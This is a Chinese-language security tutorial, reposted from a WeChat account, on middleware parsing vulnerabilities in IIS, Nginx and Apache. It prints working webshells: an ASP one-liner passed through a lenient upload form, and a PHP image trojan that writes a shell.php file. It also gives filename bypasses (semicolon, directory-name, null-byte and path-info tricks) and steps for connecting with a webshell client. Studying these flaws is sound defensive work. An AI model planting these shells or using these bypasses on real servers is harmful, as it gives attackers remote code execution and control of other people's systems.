解析漏洞—中间件

admin 2022年4月23日03:30:20安全文章评论10 views4438字阅读14分47秒阅读模式

解析漏洞简介


解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。

该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。


解析漏洞

解析漏洞—中间件

常见的解析漏洞有以下几种

  • IIS 5.x/6.0解析漏洞

  • IIS 7.0/IIS 7.5/ 

  • Nginx <0.8.3畸形解析漏洞

  • Nginx <8.03 空字节代码执行漏洞

  • Apache解析漏洞


1、IIS 5.x/6.0解析漏洞


首先,需要找到符合要求的IIS版本,版本号在这区间的IIS,asa、cer 、cdx文件会被当做asp文件执行。

所以当他禁止上传asp文件时,可以上传asa、cer 、cdx文件

这里我用的是IIS 6.0版本

解析漏洞—中间件


文件

  1. html

<html><head>  <title>ASP无组件上传类</title>  <meta http-equiv="content-Type" content="text/html; charset=gb2312"></head><body>  <form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">    <input type="file" name="upFile"/>    <input type="submit" value="上传文件"/>  </form></body></html>

aa.asp

<%@   language="javascript"%> <% var   self   =   Request.serverVariables("SCRIPT_NAME"); if   (Request.serverVariables("REQUEST_METHOD")=="POST") {                 var   oo   =   new   uploadFile();                 oo.path   =   "";                                                 //存放路径,为空表示当前路径,默认为uploadFile                 oo.named   =   "file";                                                 //命名方式,date表示用日期来命名,file表示用文件名本身,默认为file                 oo.ext   =   "jpg|gif|cer|asa";                                                                 //允许上传的扩展名,all表示都允许,默认为all                 oo.over   =   true;                                                                 //当存在相同文件名时是否覆盖,默认为false                 oo.size   =   1*1024*1024;                                 //最大字节数限制,默认为1G                 oo.upload();                 Response.write(' <script   type="text/javascript"> location.replace("'+self+'") </script> '); }  //ASP无组件上传类 function   uploadFile() {         var   bLen     =   Request.totalBytes;         var   bText   =   Request.binaryRead(bLen);         var   oo   =   Server.createObject("ADODB.Stream");         oo.mode   =   3;                 this.path   =   "uploadFile";                 this.named   =   "file";                 this.ext   =   "jpg|gif|cer|asa";                 this.over   =   false;                 this.size   =   1*1024*1024*1024;                 //1GB                  //文件上传                               this.upload   =   function   () {                                 var   o   =   this.getInfo();                                 if   (o.size> this.size)                                 {                                                 alert("文件过大,不能上传!");                                                 return;                                                               }                                 var   f   =   this.getFileName();                                 var   ext   =   f.replace(/^.+./,"");                                 if   (this.ext!="all"&&!new   RegExp(this.ext.replace(/,/g," |"),"ig").test(ext))                                 {                                                 alert("目前暂不支持扩展名为   "+ext+"   的文件上传!");                                                 return;                                 }                                 if   (this.named=="date")                                 {                                                 f   =   new   Date().toLocaleString().replace(/D/g,"")   +   "."   +   ext;                                 }                                  oo.open();                                 oo.type   =   1;                                 oo.write(o.bin);                                 this.path   =   this.path.replace(/[^/\]$/,"$&/");                                 var   fso   =   Server.createObject("Scripting.FileSystemObject");                                 if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path)))                                 {                                                 fso.createFolder(Server.mapPath(this.path));                                 }                                 try                                 {                                                 oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1);                                                 alert("上传成功!");                                 }                                 catch(e)                                 {                                                 alert("对不起,此文件已存在!");                                 }                                 oo.close();                                 delete(oo);                  }                  //获取二进制和文件字节数                 this.getInfo   =   function   () {                                 oo.open();                                 oo.type=1;                                 oo.write(bText);                                 oo.position   =   0;                                                                                               oo.type=2;                                 oo.charset="unicode";                                 var   gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1");                                 var   sPos=gbCode.indexOf("%0D%0A%0D%0A")+12;                                 var   sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6;                                 oo.close();                                                oo.open();                                 oo.type   =   1;                                               oo.write(bText);                                 oo.position=sPos/3;                                 var   bFile=oo.read(sLength);                                 oo.close();                                                                return   {   bin:bFile,   size:sLength   };                 }                  //获取文件名                               this.getFileName   =   function   () {                                 oo.open();                                 oo.type   =   2;                                 oo.writeText(bText);                                 oo.position   =   0;                                 oo.charset   =   "gb2312";                                 var   fileName   =   oo.readText().match(/filename="(.+?)"/i)[1].split("\").slice(-1)[0];                                 oo.close();                                 return   fileName;                 }                                function   alert(msg)                 {                                 Response.write(' <script   type="text/javascript"> alert("'+msg+'"); </script> ');                 } } %> <html> <head>     <title> ASP无组件上传类 </title>     <meta   http-equiv="content-Type"   content="text/html;   charset=gb2312"> </head> <body>     <form   action=" <%=self%> "   method="post"   enctype="multipart/form-data"   onSubmit="return   (this.upFile.value!='');">         <input   type="file"   name="upFile"/>         <input   type="submit"   value="上传文件"/>     </form> </body> </html>

11.cer

<%eval request("a")%>


利用方法

这里上传一个cer文件

解析漏洞—中间件

解析漏洞—中间件

上传成功后用菜刀连接,这里脚本类型选择ASP(eval)

解析漏洞—中间件

连接成功

解析漏洞—中间件


2、IIS 6.0


IIS 6.0 有两个单独的解析漏洞


目录解析


/xx.asp/xx.jpg


在网站下名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都会被IIS当作asp文件来解析并执行。


例如有个目录是 abc.asp,那么/abc.asp/1.jpg会被当作asp文件来执行。

这个漏洞很难遇到:

首先,得有个网站管理员取个名字为xx.asp的文件夹;然后,你还得有往这个文件夹上传文件的权限


文件解析


11.asp;.jpg


在IIS6.0下,分号后面的内容不被解析,也就是说

11.asp;.jpg 会被服务器当做11.asp执行


所以如果禁止上传asp文件时,可以上传一个11.asp;.jpg 文件

同样,利用前面的文件,开始上传

解析漏洞—中间件

然后利用菜刀连接

解析漏洞—中间件


3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞


在默认Fast-CGI开启状况下,上传一个名字为bb.jpg的文件,然后访问bb.jpg/.php,在这个目录下就会生成一句话木马 shell.php


bb.jpg

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>


然后访问bb.jpg文件时,在后面加上./php,这个文件就会被当做php文件执行

因为没找到合适版本的IIS,nginx,所以这里就不演示了


4、Nginx <0.8.03 空字节代码执行漏洞


影响版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

同样适用上面的图片马bb.jpg

在后面加上%00.php时,bb.jpg会被当做php文件执行

127.0.0.1/bb.jpg%00.php

5、apache解析漏洞


说到这个漏洞,就得说两个消息

好消息:因为apache官方不承认这是一个漏洞,所以每个版本的apache都会有这个漏洞出现

坏消息:开发员大都知道且认为这是个漏洞,所以会有一定的防御措施


apache其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php, 这时只要文件名里包含.php就会以php文件来执行—— 即使文件名是 test.php.jpg ,jpg在右边,也会以 php 来执行。


(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样会以 php 方式执行。


解析漏洞—中间件


解析漏洞—中间件

蓝队应急响应姿势之Linux

通过DNSLOG回显验证漏洞

记一次服务器被种挖矿溯源

内网渗透初探 | 小白简单学习内网渗透

实战|通过恶意 pdf 执行 xss 漏洞

免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)

内网渗透之内网信息查看常用命令

关于漏洞的基础知识

任意账号密码重置的6种方法

干货 | 横向移动与域控权限维持方法总汇

手把手教你Linux提权



欢迎关注LemonSec

觉得不错点个“赞”、“在看”哦

原文始发于微信公众号(LemonSec):解析漏洞—中间件

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日03:30:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  解析漏洞—中间件 http://cn-sec.com/archives/925825.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: